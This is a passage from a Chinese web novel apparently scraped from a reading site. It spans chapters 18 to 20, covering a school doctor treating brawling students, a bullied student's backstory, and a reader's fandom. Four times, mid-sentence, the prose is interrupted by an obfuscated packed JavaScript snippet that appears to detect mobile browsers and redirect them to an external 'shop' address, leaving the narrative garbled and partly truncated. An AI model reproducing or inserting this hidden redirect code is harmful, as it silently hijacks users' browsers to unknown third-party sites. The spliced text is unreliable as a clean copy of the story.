他这段时间太忙,赵铁心发的消息太多了林砚并不能每条都及时看,所以这条消息他未读也未回。 ……原来赵铁心提过啊! 蒜鸟,蒜鸟。 林砚的手指在键盘上停顿片刻,然后输入。 「好像没怎么听你说过你自己^^。有空来一趟医务室,复查你的血蚀情况。」 消息发送。 林砚把手机放到一边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16936221|191871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他预计赵铁心会回复得晚一些——现在是上午十点多,按课表,这个时间应该在上文化课。那小子虽然看起来跳脱,但上课时间应该不至于还在玩手机。 消息发出去不到五分钟,手机屏幕就亮了。 「好~我晚一点就过来,林老师晚上在吗?」 林砚看了一眼时间,确实是上课时间。 回复得这么快? 「我就住在二楼。你怎么在上课时间玩手机?」 赵铁心秒回: 「!!林老师原来是在偷偷试探我有没有认真上课吗?!完啦被你发现了!不要告诉塔主奶奶!!求你啦!!」 文字后面还跟了个跪下哭泣的卡通表情。 反应这么激烈? 「那你只能想办法贿赂我了。」 林砚回复。 「英俊善良闪耀完美的林砚老师哇,请大发慈悲地原谅我上课偷偷玩手机这种小事,不论你说什么我都会听的——!!」 文字后面跟着一连串跪地求饶的表情包。 林砚失笑,摇了摇头。 「晚上复查的时候再说,好好听课。」 「遵命qaq」 对话暂时结束。 四个问题儿童,没一个让人省心。 看似因为赵铁心的康复和昨晚那场闹剧,主角团的关系有了缓和的迹象,但底下的问题实际上一个没少。 陆燃是明着折腾,热血上头就不管不顾,拆训练室跟玩一样。 苏清寒闷着内耗,把压力和自责全压心里。 白晓被预言压垮,精神在崩溃边缘徘徊,看起来没什么问题其实也是个郁郁症。 赵铁心看着阳光开朗,结果也是个死装哥。 这小子还是个□□强化系的能力者,整个团队里,哪怕算上陆燃,对□□的掌控能力都比不过赵铁心。他怎么可能不知道自己身体情况到底有多糟糕? 真的对他们放心不管的话,哪怕没有外界因素干扰,林砚怀疑都不需要血魔动手,这几个家伙就能自己把自己给折腾没。 夜晚很快会来临。 某个试图蒙混过关的家伙,该接受一下林老师沉重的爱·的·教·育了。 18. 男主打人啦 说是晚上来的赵铁心,下午就到了医务室。 但这次到来,让林砚有些不待见。 他不是一个人来的。 医务处办公室的门被推开时,林砚猜到了是赵铁心,又在看清具体情况后,收回了原本准备伸向抽屉取采血针的手。 赵铁心脸上挂着心虚的笑容,他一只手抬着,像是刚敲完门还没来得及放下,另一只手紧紧按着一个男生的肩膀——那男生看起来比赵铁心年长些,应该是五年级或六年级的学生,鼻梁明显歪了,鼻孔和嘴角都有干涸的血迹,左边眼眶青紫一片,正狼狈地用手捂着鼻子。 陆燃在赵铁心之后走进来,双手还插在口袋里,满脸写着“这次真不是我的错”。 林砚沉默了两秒。 “喔,好吧。” 他坐正,双手交叠放在桌面上,目光平静地扫过三人,“先跟我说说,这是怎么个事。” 陆燃急于澄清自己,抢在赵铁心之前开口,语速很快:“这次真不是我的问题!是他自己嘴贱先过来找事的!” 林砚没接话,只是看着他。 陆燃被这平静的眼神看得有些不自在,补充道:“我有分寸的,没下重手,不然他现在就得横着进来了!” 林砚走到那个受伤的学生面前,示意他放下捂着鼻子的手。 赵铁心也顺势松开他,男生迟疑了一下,松开手,露出已经肿起来的鼻梁和还在流血的鼻孔。 鼻梁骨明显断了,不算特别严重,没有粉碎性骨折。眼眶虽然淤青,也只是皮外伤。沸血者的自愈能力强,所以出血量不大。他看起来伤得不重,但更主要的是面子上的羞辱和愤怒。 林砚看了一眼,转身去拿医疗箱。 他先用药棉清理了对方脸上的血污,然后伸手,手指捏住歪斜的鼻梁两侧。 “会有点疼,”林砚说,声音没什么起伏,“忍一下。” 在男生还没来得及回复的瞬间,林砚手上发力,一声轻微的“咔哒”声响起。男生的身体猛地一颤。 “嗷!!” 林砚松开手,从箱子里掏出消毒水和棉花递给他,让他自己清理后把鼻子堵上。 为什么不直接用“祸血凭依”? 答案很简单。 沸血者使用能力是有代价的,每一次引动源血都伴随着血蚀风险。这是写在入学手册第一页的基本常识。 而“祸血凭依”作为林家独有、效果逆天的治疗能力,消耗和负担只会更大——这是所有了解林家的人的共识。非危及生命的必要情况,别说林砚自己,就算是白珍在场,也会拦着他不让随便用。 这种小伤用能力,就像是用高射炮打蚊子,浪费。 伤势解决了,该解决问题了。 不然这点小伤哪至于跑来医务室。 “这位同学,”林砚决定先听反方证词,“你先来说说,是什么情况。” 男生清理完鼻孔,重重地喘了口气,他先是恶狠狠地瞪了陆燃一眼,那眼神里的愤怒和憎恶几乎要溢出来。然后他转向林砚,声音因为鼻子受伤而有些瓮声瓮气,但语气异常激动: “在白塔里都敢随便动手打学长!真是目无尊长、没教养的东西!”他胸口起伏,显然气得不轻,“我就说赵铁心完全是被他害的,这有什么错吗?如果不是因为陆燃在,血魔怎么会拼了命都要跟白塔死磕?赵铁心你醒醒啊,跟他一起你们迟早全都会死的!” 话说到这里,林砚已经明白了大半。 得。 他心想。 已经没必要再听陆燃他们的正反辩词了。 这话说出来,别说陆燃,带入一下身份,换成其他有血性的人听了也得动手。 赵铁心脸色沉了下去,没来得及回复,反应极快,在那学长话音落下的瞬间,侧身一步,拦在了眼看就要再次暴起的陆燃身前。 “陆燃!”赵铁心一把拽住陆燃的胳膊,整个人挡在他前面,“喂,喂!话不能乱说啊!我们陆燃不背这锅!陆哥,别冲动陆哥!林老师还在呢!” 他一边拦着陆燃,一边转过头,对林砚挤出一个有些勉强的笑容,试图缓和气氛。 林砚挑眉,用酒精布擦着手里刚沾上的血:“意思是我不在就能打了?” 赵铁心脸上有些尴尬,赶紧跟林砚打哈哈:“诶呀,哪敢啊哪敢啊,您看您说的,我们可都是守规矩的好学生。” 他说着,还用眼神示意陆燃冷静。 男生在听到赵铁心的话后,脸上的愤怒褪去,变成了非常受伤的表情。他看着赵铁心,虽然鼻子还在疼,但比起□□,赵铁心毫不犹豫站在陆燃这边的态度,显然更让他难受。 “我本来以为你是最能理解这些的,赵铁心。”他声音低了下去,“连你也被这些恶心的世家污染了,我真的很失望。” 话一出口,他似乎意识到旁边还站着位也是出身家族的林老师,赶忙看向林砚,有些生硬地找补:“当然,林老师您是例外!你们林家从来不与他们同流合污!” 林砚看到赵铁心按在陆燃肩膀上的手,力道松了一瞬。 就这一瞬的松懈,陆燃已经挣脱开来,眼看又要冲上去—— 林砚直接打断他们的动作。 “没什么事情的话你两先回去上课。” 他声音不大,但不容置疑。 “你们两个又没受伤,还在这里做什么?想翘课?” 陆燃动作一顿。 赵铁心立刻会意,拽着陆燃的胳膊就往门口拖:“走了走了陆哥,林老师说得对,我们还得上课呢!” 陆燃还想说什么,但林砚看了他一眼。 还想在医务室打人? 我不在就算了,我人可还在这里站着呢,还想当着老师面再起冲突? 陆燃也不是完全不懂看眼色。他读懂了里面的意思:再不走,挨批的就该是你两了。 最后剜了那学长一眼,陆燃转身跟着赵铁心离开了医务室。 门被带上,办公室里只剩下林砚和那个被打的男生。 “头抬起来,我再看看鼻子。” 林砚命令道。 男生听话地仰起头。 林砚检查了一下正骨效果和止血情况——很好,还得是沸血者,恢复力强得伤口已经开始初步愈合了。来得再晚一点,也没必要来了。 他本来可以让这男生直接走的。 但林砚没让他走。 在基本所有人都对陆燃极度容忍的大环境下,突然跳出来这么个嫉恶如仇、敢当面骂陆燃“没教养的东西”的同学,还是很让人意外的。 没让这个男生立刻离开,也是好奇心作祟。 而这位同学,显然也非常有倾诉的欲望。 “林老师您也小心点!”他一开口,情绪又激动起来,“像陆燃这种大家族里出来的,没一个是好东西!仗着血统好资源多就目中无人……真想不通为什么赵铁心被那个**爹抛弃了还能跟这些东西做朋友。” 林砚本来想迂回地旁敲侧击,问问对方为什么对世家子弟有这么大敌意,但话到嘴边又改了主意。 以他现在的身份,他不需要,也不应该说话小心翼翼。 直接问吧。 “你被世家子弟欺凌过?” 男生自嘲地笑了。 “我和赵铁心是一样的。我们都是不被承认的私生子。所以我本来以为他能懂。” 他笑得比哭还难看。 “没想到啊,哈……权力和金钱,还真能把人变成烂泥。刚入学那会儿,他可是带头跟那些家族子弟对着干的!现在呢?还不是自甘堕落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16940784|191871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,给陆家大少爷当狗!鞍前马后,挨打受伤都替他挡着,图什么?图他能施舍点残羹冷炙吗?” ……我现在好像也是世家子弟的一员呢。 林砚心想。 尽管这人嘴上说“林家除外”,但林砚还是感觉有点微妙。 不过,陆燃打他倒也不无道理。 这话说得确实难听。 见林砚没有表现出不耐烦的样子,男生说得更起劲了。 “好的东西全捏在那些家族手里!我们这些圈子外的人,只配捡他们吃剩下的,舔他们掉在地上的米渣!要不是塔主大人争气,让他们知道家族之外也能出绝世强者,我们这些人,恐怕连踏入白塔学习、改变命运的机会都没有!” 他开始絮絮叨叨地说起自己的事。就像以前从来没有人愿意耐心听他说这些一样。 他说他父亲和他妈妈在一起,只是因为他妈妈长得漂亮,根本没打算要孩子。所以妈妈怀上他之后,那个男人直接走了,一分钱都没留下,也不允许生下来的孩子冠他的姓。 他说小时候所有人都嘲笑他是没爹要的野种,可当他鼓起勇气,说他爹比村子里所有人的身份都要高贵时,那些没长眼的小崽子们没一个信。 他说哪怕他觉醒了源血,但因为只有C级,他爹看都不愿意多看他一眼。他跪下来求,求父亲救救妈妈,妈妈快病死了,他爹也只愿意花钱给他买张票,让他自己去白塔上学读书谋生路。说他妈妈那种连沸血者都不是的普通人,不配享受资源,死了就死了。 他说入学后,看到那些下巴抬到天上的家族子弟们,他就觉得恨。恨这个唯血统论的世界。那些大家族为了繁衍出“更纯净”、“更强大”的后代,像配种一样不断地生。 沸血者的数量是有限的,除了唯血统论的配种外,而像他母亲,像赵铁心母亲那样,只是被一时兴起玩弄,然后无情抛弃的普通女人,不知道有多少。可他妈妈又做错了什么呢? 除了这些愤世嫉俗的控诉,他提到最多的,是他的妈妈。 他说都是因为他的生父,让妈妈怀孕了又不愿意娶她,以至于妈妈被爷爷奶奶嫌弃地赶出了家门,一辈子没做过一天苦力,怀孕了还得出去想办法赚钱。 他说母亲永远不会对他不耐烦,在他抱怨同村小孩攻击他没爹后,哪怕自己心里难受也会摸着他的头,说没关系的妈妈要你,你是妈妈的宝贝。 他说这些话的时候,脸上的戾气会暂时消散,取而代之的是几乎要溢出来的悲伤。 他真的很爱他的母亲。 也真的很惦记她。 尽管,他的母亲已经在他入学白塔之前,就去世了。 在他出门苦苦寻找那个冷漠的生父求助时,他重病的母亲,为了不拖累这个刚刚觉醒、可能拥有不一样未来的儿子,偷偷结束了自己的生命。 男生说到这里时,抬手用力抹了把脸,把眼眶里那点水汽硬生生憋了回去。 “所以我才恨。”他声音沙哑,“恨那些自以为高贵的家族,恨这个只看血统和评级的世界。” 还有句没说出口:也恨我自己。 停下来后他意识到自己似乎说得太多也太过了,有些忐忑地看向林砚,似乎在等候他的审判。 林砚沉默了片刻。 “我会考虑以后跟他们聊聊的。” 男生看起来很惊讶。 “你叫什么名字?”林砚问。 “我就说!林老师您是不一样的!”他声音提高了些,“他们那些家族子弟可从不在意我叫什么!他们眼里只有他们自己那个圈子!”” 他看向林砚,说得很认真: “我叫派斯。” “不管林老师您能不能记住我,今天,我都很感谢您。” 至少你愿意听我说这些。 19. 请不要忌讳就医 他说他叫派斯。 刚才那个男生,就是读者们所推理出的,白塔里的内鬼。 林砚刚准备进一步思考,就听到窗户那边传来两声轻响。 像是外面有人在敲。 林砚转头。 窗玻璃外面,两个熟悉的人正扒在窗台上,脸贴着玻璃往里看。红头发的那个表情有点别扭,黑头发的抬起一只手朝他挥了挥。 也不知道他们到底在外面等了多久,听了多少。 赵铁心用手指了指窗户锁,做了个“开窗”的口型,眼里写着“拜托拜托”。 把他们就这么锁外面的想法,在脑子里过了一瞬。最终林砚还是走过去,把窗户打开了。 两人迅速翻入,陆燃落地时的表情很是心虚,看起来像是想起来了什么。 林砚抱着手臂,目光在他们俩之间扫了个来回,语气微妙:“你们知道医务室是可以走正门进来的吗?” 他甚至没锁门。 陆燃先开口,眼神很是单纯,甚至有些无辜:“我跟赵铁心说了,他非要从这走。” 他指了指赵铁心:“他说万一走正门又撞上那家伙,会很尴尬。” ? 赵铁心猛地转头看向陆燃,眼睛瞪大,又是震惊又是冤枉。 “我那是怕你忍不住上去揍他好吗!陆哥!”赵铁心有点急,“我这都是为了谁啊!” 陆燃很不赞同地皱起眉头:“不要乱说,我是那种人吗?” 林砚没说话。 赵铁心也没说话,但他脸上的表情已经说明了一切。 陆燃读懂了这无声的沉默,表情有点挂不住,别开脸,清了清嗓子:“行吧,就算我以前可能是。但现在不是了。”他语气有点别扭,但又很认真,“那家伙刚才说的那些,你们不都听见了么?” 林砚心里了然。 看来是全听见了。 陆燃继续说,声音比刚才低了些:“可恨之人必有可怜之处。既然我都知道这家伙过得这么不顺,”他斟酌了一下用词,似乎不太习惯用这种略带同情的语气,“也没必要再跟他计较那几句难听话了。就当没听见。” 这回表示不赞同的人换成了赵铁心。 “话不能这么说吧,陆哥。”赵铁心脸上的玩笑神色褪去,变得严肃,“他人的不幸,归根结底是他自己的事,是他需要面对和解决的问题。他过得不好,不是他可以随便骂人、甚至诅咒别人去死的借口。不幸不是伤害别人的通行证。” 他看着陆燃:“如果只要‘不幸’,就可以随意发泄,那这世界不就乱套了?” 陆燃眉头又皱起来,反驳道:“我不是说他做得对。你不觉得再跟他计较很跌份吗?他日子都过成那样了,我还揪着那几句话不放,我又不是闲得没事干。” 这话其实说得有些傲慢了。 赵铁心眼睛转了转,忽然换了个角度:“那,陆哥,按照你这个逻辑——以后你跟我对练的时候,是不是也该收着点,让我多揍你几顿?” 陆燃:“?” “你看,我家庭也挺不幸福的,跟他算半斤八两吧?你是不是也该让着我点?多体谅体谅我的‘不幸’?” 陆燃:“……” 他被噎住了,瞪着眼睛看着赵铁心,一时间找不到话来反驳。 “哼!” 最后,陆燃只能扭过头,用后脑勺对着赵铁心,表示不满。 赵铁心见好就收:“不过,话说回来,再回头去打他肯定是不行的。起码,在他再主动出来找麻烦之前不行。陆哥,你现在……应该也没那个想法了吧?” 陆燃撇撇嘴,虽然还是有点不爽,但还是点了点头:“嗯。没意思。” 双方意见达成一致。 等他们结束这番对话,终于把注意力重新放回林砚身上时,才发现林砚已经站在旁边看了好一会儿了。 他手里拿着两支采血针。 针管比平时用的型号粗了一圈,针尖在灯光下闪着寒光。 林砚笑得温柔,宝石般的眼眸里波光粼粼,但配合手里的针头,怎么看怎么让人后背发凉。 “讨论完了?”他语气轻快,晃了晃手里的采血针,“刚好,你们俩来都来了。” 他举了举手里的采血针。 “一人一针,见者有份。” 他的目光在陆燃和赵铁心之间移动,笑得更温柔了些。 “谁先来?” 陆燃几乎是下意识地,往后退了小半步。 尽管他觉得林砚笑起来很漂亮,比平时那副冷淡的样子生动太多,整个人像是突然从冷淡的玉像变成了有温度的人——他嘴巴动了动,想说“林老师你以后多笑笑”,但话到嘴边又咽了回去。 如果只有这种事情才能让林砚开心得笑…… 那…… 那还是算了吧! 陆燃果断地把那个念头摁死了。 赵铁心喉结滚动,知道自己肯定逃不过这遭,林砚今天本来就打算给他做详细检查,他是躲不过的。 他深吸一口气,闭上眼,再睁开时,脸上已经换上视死如归的表情,英勇上前。 “对不起,林老师。”他开口,态度诚恳,“我不该隐瞒自己的恢复状况,不该因为觉得好多了就忌讳就医,我错了。” 他认错认得飞快,然后话锋一转,试图拯救队友,“陆哥他是无辜的,他就是陪我来的。我一个人做检查就够了,对吧?他就不用……了吧?” 林砚脸上的笑容不变,语气轻松:“你这也是忌讳就医。。” 他收起笑容,恢复平时的冷淡:“好了,不闹了。你们两个,今天都得做血检。谁也别想跑。” “赵铁心,你先。” 赵铁心认命地叹了口气,老老实实坐椅子上,伸出胳膊,把头扭到一边,不敢看针头。 最终还是谁都没能躲过去。 林砚给采血管贴上标签,放进检测仪里,出检测结果还得等一段时间。 “等着。” 他说完,看向赵铁心,“赵铁心,你跟我进来。” 他指的是里间的检查室。 赵铁心“啊”了一声,但还是乖乖跟着林砚走。陆燃也想跟进去,被林砚一个眼神制止。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16946425|191871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “你在外面等。”林砚说,“别乱动仪器。” 陆燃只好又坐了回去,眼睛却一直跟着两人的背影,直到门关上。他低头看了看自己胳膊上的小针眼,撇了撇嘴。 隔间里,给赵铁心插上传感器后,林砚看着屏幕上的数据,表情有些凝重。 事实不容乐观。 赵铁心体内的源血,至今仍处于不稳定状态。并且由于赵铁心近期又使用过能力,导致脖子上的血蚀蠢蠢欲动,边缘区域已经出现了向周围渗透的迹象。 仪器给出的综合评估为:高危。 赵铁心躺在那,眼睛看着天花板,没敢说话。 “你知道情况没完全好,对吗?”林砚问。 赵铁心轻轻“嗯”了一声。 “为什么不说?” “怕你们担心嘛。而且,我觉得自己好像也没特别难受。” 林砚落下判词:“因为你的拖延治疗,这次可能会比上次还难受,做好心理准备。” 赵铁心紧张地闭上眼。 林砚走到他身侧,伸出手,掌心向下,贴在赵铁心的眼皮上。 ——祸血凭依。 空气中温度骤降。 冰冷感深入骨髓,比上一次治疗时更让人发寒,体内蠕动的污染斑块,像遇到天敌一样疯狂逃窜。但冰冷的能量如影随形,所过之处,污染被强行压制,逼得他们不住退缩。 就像林砚说得那样,比上次还难受。 因为林砚对能力的掌控力又变强了,能量输出得更加集中,带来的感官冲击自然也更强烈。 外面,正无聊着的陆燃,忽然感觉有点不对劲。 他体内的血液,似乎流动得慢了一些。 这种类似的感觉,赵铁心曾跟他说过,眼下无疑是林砚造成的。 这就是……林老师的能力? 不是说只是治疗吗? 陆燃感到脊背发凉,像是有高位存在投下瞥视。 隔间的门在陆燃的望眼欲穿下总算开了。 赵铁心跟在林砚后面走出。 “林老师,”陆燃忍不住开口,眼睛盯着林砚,“你的能力……真的只能用来治疗吗?” 林砚笑而不语,并未回答。 陆燃还想追问,就在这时—— 【砚宝,现在方便吗?】 林砚眼神瞬间变得古怪。 砚……宝? 林砚:系统?你出什么毛病了?中病毒了? 【……】 系统没有立刻回复。 过了几秒,电子音再次响起。 【经检测,本系统运行状态正常,未感染任何异常程序。】 【补充说明:根据对近期部分人类社交文本及流行文化用语的观测分析,人类个体在表达亲近或试图缓和气氛时,常使用‘X宝’类昵称。我以为采用此类称呼方式,能让您在与我的交互中感到更亲切。】 林砚:“……” 林砚:说正事。 【检测到漫画有新的内容更新,您需要现在查看吗?】 漫画终于更新了。 20. 恨的由来(上) 在《沸血升腾》第九十一话更新之前,哪怕同龄人曾经夸得天花乱坠,马冬梅也从来没看过这本漫画。 其实她知道这本漫画。 室友念叨过,社团里的同学讨论过,甚至有一次在食堂排队,前面两个不认识的女生为了“苏清寒到底要不要为赵铁心的重伤负责”争得面红耳赤,差点把餐盘扣对方头上。 但她就是没兴趣。 怎么说呢,马冬梅性格里有点别扭的逆反。越是别人疯狂安利、吹得天花乱坠的东西,她反而越不想碰。 大家都说好看?那肯定有过度吹捧的成分。全网都在嗑的CP?大概率是工业糖精。这种心态让她避开了不少热点,也错过了不少好东西,但她觉得没什么——喜欢什么是很私人的事,干嘛非要跟风? 她就是这样,怎么了嘛! 那天下午没课,马冬梅窝在宿舍床上刷手机,百无聊赖地滑动着漫画平台的推荐页面。各种封面眼花缭乱,不是美少女贴贴就是龙傲天帅气英姿,她手指滑得飞快,直到某一格画面突兀地撞进视线。 她手指停住了。 那是《沸血升腾》第九十一话的封面。 几乎是在看到那个金发男人的一瞬间,她就沦陷了。 封面上的青年侧坐在车窗边,琥珀色的眼眸平静地望向画面之外,金发在夕阳光线下流淌着蜂蜜般的光泽。他的表情很淡,近乎冷漠,但那种疏离感反而形成了一种致命的吸引力。 马冬梅盯着屏幕,手指悬在“关闭”按钮上方,迟迟没有按下去。 心脏很不争气地、重重地跳了一下。 然后又是一下。 她脑子里一片空白,只剩下一个清晰无比的念头:我的。 让我们跨越认识的那一步,从现在起,你就是我的单推了。 她甚至没点进去看内容,就直接长按图片保存,设置成了手机壁纸。 室友探头过来看了一眼,“咦”了一声:“你也看《沸血升腾》啦?终于开窍了?” 马冬梅盯着壁纸上那张脸,头也不抬:“刚入坑。” “喜欢哪个角色?陆燃?赵铁心?还是苏清寒?” “不知道。” “啊?” “刚看到脸爱上的。”马冬梅说得理直气壮,手指轻轻划过屏幕上那双琥珀色的眼睛,“其余的东西,你等我看完漫画认清楚人了再说。” 室友:“……” 行吧,颜狗的世界就是这么简单纯粹。 尽管别人都说她这是“四九年入*军”——漫画都快腰斩了,口碑崩坏,主角团支离破碎,这时候入坑纯属找虐——但马冬梅还是义无反顾地一头扎进了这个深坑。 她花了一整晚时间,从第一话补到最新更新。室友喊她吃饭,她摆摆手说等等;隔壁床问她要不要一起打游戏,她说下次。水都顾不上喝,除了上厕所,没离开过床。 整夜通宵,她放下手机,揉了揉发酸的眼睛,长长地吐出一口气。 她总算知道了自己单推对象的名字。 林砚。 不错,很中式,好听,不愧是我的单推哥。 所以下一话什么时候更新?还能不能再见到我的单推哥?他是什么身份?能力具体怎么回事?和主角团会怎么互动? 然后,她看到了更新页面最下方那行小字:下周休刊。作者需要整理后续剧情。 马冬梅:“……” 又停刊?! 愤怒,不甘,抓心挠肝。 从此,马冬梅也加入了催促狗作者更新的催稿大军。 她注册了论坛账号,翻遍了所有关于林砚的讨论帖,保存每一张有他的截图,在分析帖下面跟人讨论这个新角色可能的戏份走向。 然后等更新。 好在这次作者没有虚晃一枪,说休刊一周,就真的只休刊了一周。 更新日的晚上,手机顶部弹出了推送通知。 「您订阅的《沸血升腾》有更新。」 马冬梅手指比脑子更快地点了进去。 这次更新的内容可谓是量大管饱,直接一次性更新了两话,把上周缺的也给补上了。 马冬梅先看封面。 这回的封面人物是陆燃——作为男主,他上封面的次数最多。 封面上,陆燃久违地笑了。他背对着画面,侧过头,红发在风中扬起,脸上带着久违的、毫无阴霾的笑容。那笑容灿烂,自信,甚至有点嚣张,充满了少年人特有的、灼热的光芒。他背后是碎裂的墙壁和散落的器材,但那些狼藉反而衬托得他更加耀眼。 然而,在陆燃自身的影子投映的墙壁上,却重叠着一道人影。那道阴影轮廓模糊,看不出面容。它安静地立在陆燃的身后,凝视着前方毫无所觉的少年。 马冬梅盯着封面看了几秒,皱了皱眉。 虽然陆燃是漫画男主,但根据她补完的前面剧情,这家伙完全不是她喜欢的类型——太冲动,太自我,脾气还差。她现在只想知道自己的单推哥能不能在新一话里登场。 她迫不及待地点开第九十二话。 漫画的开篇,又是一个没见过的新角色。 男生看起来年纪不大。穿着白塔的校服,躺在宿舍床上,背对着门,怀里抱着一个小罐子。 宿舍是四人间,但其他床铺都空着,挂在墙上的钟显示现在是下午。 这个时间,按照白塔的课表,应该在上课。 他翘课了。 男生的脸贴在冰凉的陶罐上,肩膀颤抖。 没有台词,但漫画格子里的气氛压抑得让人窒息。 下一格,给了男生脸部特写。他闭着眼睛,睫毛湿漉漉的,眼泪从眼角滑落,渗进鬓角的头发里,他的嘴唇动了动,旁边是小小的、颤抖的对话框: 「妈妈……」 「我想你了……」 画面一转,色调变暖,进入回忆。 小时候的男孩,住在某个偏远村落里。村子很穷,房子是土坯垒的,路是泥土路,下雨天就会变得泥泞不堪。 日子很苦,但他有个很爱他的妈妈。 妈妈很漂亮,哪怕穿着打补丁的粗布衣服,脸上有操劳留下的细纹,但眉眼间依然能看出曾经的美貌。她总是笑着,哪怕干活累得直不起腰,看到儿子时也会露出温柔的笑容。 至于爸爸? 男孩不知道爸爸去哪了。妈妈几乎不提到他。 他和妈妈二人相依为命。 村子里的人不爱读书。 教育是很奢侈的东西,书本费、学费、去镇上学校的路费……对很多家庭来说,那是一笔不小的开支。 大人们觉得,只要孩子继承家里的农活,或者学门手艺,就能活下去了。普通人没必要把时间花在没用的读书上。 但妈妈不这么觉得。 煤油灯昏暗的光线下,妈妈一边缝补衣服,一边对趴在桌边写作业的男孩说: 「宝贝,你别听他们的,好好读书,读了书之后离开村子,外面有更大的世界。」 男孩抬头,看着妈妈手上那些被针扎出来的细小伤口,指关节处还有常年劳作而变形的凸起,心头发酸。 「可是读书好贵啊妈妈。如果不读书,我还能出去找点活干,你就不用这么辛苦了。 妈妈停下针线,伸手摸了摸他的头。 妈妈不这么觉得。 男孩没再说话,低下头继续写作业。 但他心里下了决心。 尽管这么说,但男孩还是在听话读书的同时,努力赚钱。 学校里人都知道,这个成绩年级第一的男孩,会有偿出售作业和考卷答案。来买的人不少——学校里坚持读书的孩子们,家里条件大多不差,零花钱够用。老师们也知道他家境困难,对此睁一只眼闭一只眼。 男孩把赚来的钱拿来买吃的交给妈妈。 妈妈说这是哪来的,他就含糊着说是同学们送的。 日子一天天过。 虽然穷,虽然累,但母子俩相依为命,倒也温暖。 可惜麻绳专挑细处断。 男孩十一岁那年,妈妈病倒了。 其实早有预兆——常年的劳作,一天只睡三四个小时,这样坚持了十来年,铁打的身体也扛不住。 妈妈曾经是富家小姐,从小没吃过苦。私奔跟了那个男人后,被家族除名,跟着男人回到他老家,才发现对方早有妻室。她成了见不得光的外室,住在偏远的村子里,靠男人偶尔寄来的微薄生活费度日。 妈妈说,后来男人嫌她腻了,所以才不再寄钱,也不再出现。 她一个十指不沾阳春水的大小姐,不得不学着种地、纺布、做零工,养活自己和孩子。 她的身体曾经也是娇贵的,只是风吹雨打就会让她折腰。可现在那腰已经折得不能再折了,她的手指在常年不间断的纺织与农作中变形,不到三十岁的脸上沟壑遍布,眼睛也因为过度劳累和营养不良而变得浑浊发白。 医生来看过,摇头。 「劳累过度,内里亏空得太厉害了。拖了这么久,早就没得治了。她还活着真是个奇迹。」 医生对男孩说:「她的内脏已经像七八十岁的老人一样,油尽灯枯,视力也弱得近乎没有。我们这种普通人医生救不了她。」 男孩看着妈妈苍白的脸,心里像被什么东西狠狠揪住。 他跪在妈妈床边,握着她的手,一遍遍说「妈妈你会好起来的。」 妈妈笑着点头。 「嗯,妈妈会好起来的。」 但男孩知道,她在说谎。 绝望像是冰冷的潮水,淹没了小男孩。 就在此刻,源血觉醒了。 滚烫的、狂暴的、仿佛要烧穿一切的力量涌遍全身。 他很快反应过来,冲出家门,跑到村里的医生家,语无伦次。 「我、我觉醒了!我是沸血者了!医生,求求你,能不能用这个理由,帮我妈妈申请更好的医疗?沸血者的家属,应该、应该有权利用更好的药吧?」 医生看着他,眼神复杂,有怜悯,也有无奈。 「孩子,我没有这个权限。我只是个普通村医。建议你……想办法去找沸血者的医生。」 男孩失魂落魄地回到家。 妈妈靠在床头,看着他,笑得很开心。 「我的宝宝果然是最棒的宝宝。」 她声音很轻,但带着由衷的喜悦。 「好啦,宝宝现在也是沸血者了。」 男孩有些难为情。 「我都十一岁了呀妈妈!我都这么大了,怎么还在喊我宝宝。」 妈妈只是笑,伸手摸了摸他的脸。 「不管你多大,你永远都是我的宝宝。」 男孩突然想起了那个素未谋面的生父。 他记得妈妈曾说过,那是个“很有权势”的沸血者。 他握住妈妈的手,眼神坚定:「妈妈,你等我。我出门去找爸爸。哪怕他不愿意想办法给你找医生治病,我也一定要从他手里拿笔钱来。有了钱,我们就能去城里找好医生了。」 妈妈笑得很温柔。 在他临走前,她把男孩抱得很紧很紧。她已经看不太清了,只能用手指很认真、很细 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他们取了一滴男孩的血,滴在仪器上。仪器亮起微光,显示出一行字: 【源血纯度:C级】 管家看了一眼结果,没说话,只是点了点头。 这时,外面传来脚步声和说话声。 穿着华服的男人走进来,身边跟着个比男孩年纪更小的小男孩。他的目光扫过房间,掠过仪器上的数据,掠过管家的脸,独独没有落在忐忑不安的男孩身上。男人身边的小男孩穿着绸缎衣服,头发梳得整齐,脸色骄纵。 华服男人看起来很威严,眉眼间能看出和男孩有几分相似——这就是他的生父。 男孩心跳加速,张了张嘴,想喊爸爸。 但他还没发出声音,就听见那个小男孩开口,声音清脆,带着毫不掩饰的嫌弃: 